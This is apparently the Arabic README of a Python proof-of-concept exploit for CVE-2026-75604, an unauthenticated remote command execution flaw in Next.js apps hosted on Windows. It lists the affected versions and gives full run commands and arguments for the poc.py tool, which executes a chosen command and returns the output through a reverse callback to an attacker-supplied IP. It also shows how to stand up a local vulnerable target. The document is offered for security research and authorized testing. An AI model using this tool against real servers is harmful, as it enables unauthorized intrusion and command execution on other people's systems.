
إثبات مفهوم لاستغلال CVE-2026-75604، وهو تنفيذ كود عن بُعد غير مصادق عليه في تطبيقات Next.js المستضافة على Windows، مع تنفيذ أوامر قائم على الاستدعاء وإعداد هدف محلي.
إثبات مفهوم بلغة Python لـ CVE-2026-75604، وهي ثغرة تنفيذ أوامر عن بُعد دون مصادقة في تطبيقات Next.js المستضافة على Windows والتي تستخدم كلاً من Pages Router وApp Router دون Cache Components.

>=13.4 <15.5.24 أو >=16.0 <16.3.3تم التحقق منها باستخدام [email protected].
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
المسار الافتراضي لـ Server Action هو /. استخدم --action-field عندما يحتوي النموذج على أكثر من حقل واحد.
الوسائط المطلوبة:
--target URL: عنوان URL الأساسي لتطبيق Next.js--callback-ip ADDRESS: عنوان IPv4 يمكن للهدف الوصول إليه--pages-cache-path PATH: صفحة ISR ديناميكية موجودة في Pages Router--app-cache-path PATH: صفحة ديناميكية موجودة في App Router مدعومة بذاكرة التخزين المؤقت على نظام الملفاتالوسائط الاختيارية:
--command COMMAND: الأمر المراد تنفيذه؛ القيمة الافتراضية هي whoami--action-path PATH: صفحة App Router التي تحتوي على Server Action المتوافق؛ القيمة الافتراضية هي /--action-field NAME: حقل النموذج الذي يستهلكه الإجراء؛ يُكتشف تلقائيًا عند عدم وجود غموض--callback-port PORT: منفذ الاستدعاء العكسي؛ القيمة الافتراضية هي 4331--listen-address ADDRESS: عنوان الربط المحلي للاستدعاء العكسي؛ القيمة الافتراضية هي 0.0.0.0--timeout SECONDS: مهلة الطلب والاستدعاء العكسي؛ القيمة الافتراضية هي 20--insecure: يعطّل التحقق من شهادة TLSيثبّت التطبيق الاختياري target/ الإصدار [email protected] ويستخدم خادم Next.js الإنتاجي القياسي:
cd target
npm ci
npm run build
npm start
شغّل PoC في طرفية أخرى:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
يوفر الهدف الاختياري المسارات المطلوبة وServer Action متوافقًا على /.
يُقدَّم هذا PoC لأغراض تعليمية وأبحاث أمنية والاختبار المصرَّح به فقط. استخدمه فقط على الأنظمة التي تملكها أو لديك إذن صريح باختبارها.
الشكر لـ evolutionstorm وb0r1.
أُعيد بناء هذا PoC بشكل مستقل من الاستشارة العامة وتصحيح Next.js.